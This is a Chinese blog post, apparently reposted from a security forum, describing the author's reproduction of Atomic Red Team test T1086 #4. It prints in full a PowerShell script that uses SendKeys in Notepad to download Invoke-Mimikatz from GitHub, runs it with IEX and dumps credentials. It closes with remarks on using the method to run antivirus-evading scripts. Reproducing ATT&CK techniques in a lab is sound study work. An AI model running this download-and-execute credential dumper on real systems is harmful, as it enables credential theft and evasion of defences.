att&ck奇妙历险记——powershell模拟键盘下载的踩坑过程
2020-04-09 10:42:22 Author: xz.aliyun.com(查看原文) 阅读量:341 收藏

0x00简介

    原子红队是一个在github上以脚本为主的项目,主要是对于att&ck框架的攻击手法的实现,项目地址原子红队,最近处于个人兴趣的原因对上面的攻击手法进行复现,恰好今天碰见了一个对我造成了很大困扰的攻击手法,解决该问题之后才写了这篇稿子。

0x01碰到的问题

    复现到编号为T1086的攻击手法时,碰上了一些令我十分困扰的问题。
    T1086下是一些使用powershell的攻击手法,其中#4的是以mimikatz为例,使用PsSendKeys为手段进行攻击:


    对于powershell我才刚刚开始学习,所以一上来我对什么是PsSendKeys也不是很了解,所以先进行资料的查找。
    首先我们要了解的是,powershell可以视为cmd的基于.NET框架的究极进化体,可以实现非常多且强大的功能。与此同时C#程序可以实现的功能,powershell同样也可以实现,因为他们都是基于.NET框架的产物。正是因为这样powershell的脚本/命令可以不通过powershell.exe这个二进制文件就能执行,这需要通过System.Management.Automation这一底层接口,如果有机会我会再写一篇文章讲这个接口,今天的重点不是他。
    因为上面说到的特性,c#可以使用的第三方dll,powershell也可以使用,今天要讲的便是System.Reflection.AssemblySystem.Windows.Forms。而sendkeys是c#中模拟键盘的一种方法。
    首先我们来看一下:官方给出的脚本,为了方便看我将其换行整理了一下:

$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';
$wshell=New-Object -ComObject WScript.Shell;
$reg='HKCU:\Software\Microsoft\Notepad';
$app='Notepad';$props=(Get-ItemProperty $reg);
[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');
@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};
$curpid=$wshell.Exec($app).ProcessID;
While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};
While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};
$wshell.SendKeys('^o');
Start-Sleep -Milliseconds 1000;
@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};
$res=$Null;
While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();
@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};
Start-Sleep -Milliseconds 500;
$res=([Windows.Forms.Clipboard]::GetText())};
[Windows.Forms.Clipboard]::Clear();
@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};
If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};
@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};
IEX($res);
invoke-mimikatz -dumpcr

    在windows server 2012的环境下运行,注意要使用管理员权限:


    在复现att&ck时经常会出现各种各样的报错,我已经习惯去修改里面给出的脚本了,首先看一下报错的原因:路径不正确,也就是从文件名这一栏无法去直接访问这个放在web上的mimikatz的ps1脚本。
    那我们去尝试一下以这种思路怎么才能访问到这个mimikatz,在此电脑的路径中输入url:


    成功访问到了这个mimikatz.ps1!那我们试试在记事本中能否成功,首先要对脚本进行改动。因为该脚本时通过这种方式打开记事本时,光标处于文件名处而不是路径栏中,如图:

    这段powershell是这样打开记事本,并选择打开文件选项的:

$wshell=New-Object -ComObject WScript.Shell;
$app='Notepad';
$curpid=$wshell.Exec($app).ProcessID;

模拟键盘的ctrl+o,也就是打开文件选项:

$wshell=New-Object -ComObject WScript.Shell;
$reg='HKCU:\Software\Microsoft\Notepad';
$app='Notepad';
[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');
@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};
$curpid=$wshell.Exec($app).ProcessID;
While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};
While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};
$wshell.SendKeys('^o');
Start-Sleep -Milliseconds 1000;


    使用这段命令复制记事本中的内容:

@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};

    这里通过Notepad在注册表中的信息,以及powershell的GPS命令,GPS也就是cmd中的tasklist:

    这段powershell中使用c#反射,也就是System.Reflection.Assembly加载命名空间System.Windows.Forms,并使用该命名空间中的类,根据注册表以及gps命令获取的记事本的名称并在该记事本中使用的crtl+o组合键。(System.Windows.Forms中的类)

    这时我们需要在这段powershell中添加几次如下代码:

$wshell.SendKeys('{tab}');
Start-Sleep -Milliseconds 1000

    即可将光标替换到路径栏中:


    正当我以为胜利的曙光就在眼前时,一个报错打破了我的幻想:


    记事本中打开文件的每个地方我都尝试了,我陷入了深深的自闭中。。。我决定换一个新的环境去尝试一下这个攻击手法。我换成了我的物理机的win10系统,直接将原版powershell命令执行:


    这次没有报错,但是卡在了奇怪的地方,文件名那一栏输入到一半卡住了。。。我思来想去不知道这到底又是什么原因,忽然想到了刚才powershell脚本在模拟键盘的过程中出现了中文输入法,于是我是用纯英文的键盘再次执行:

    居然开始下载了!还成功执行了mimikatz。
    这次复现是我目前为止碰上最耗费我时间的一次复现,来来回回修改powershell代码和测试花了三个多小时左右,最后终于成功了。谈一谈这种攻击手法的免杀效果把,我发现这种手法被杀的几率取决于你下载并且复制的powershell脚本,所以不光可以使用mimikatz而且mimikatz对于win10实在太过鸡肋,但是我们可以通过这个手法去执行其他免杀过的ps1脚本,算是开拓了思路。


文章来源: http://xz.aliyun.com/t/7513
如有侵权请联系:admin#unsafe.sh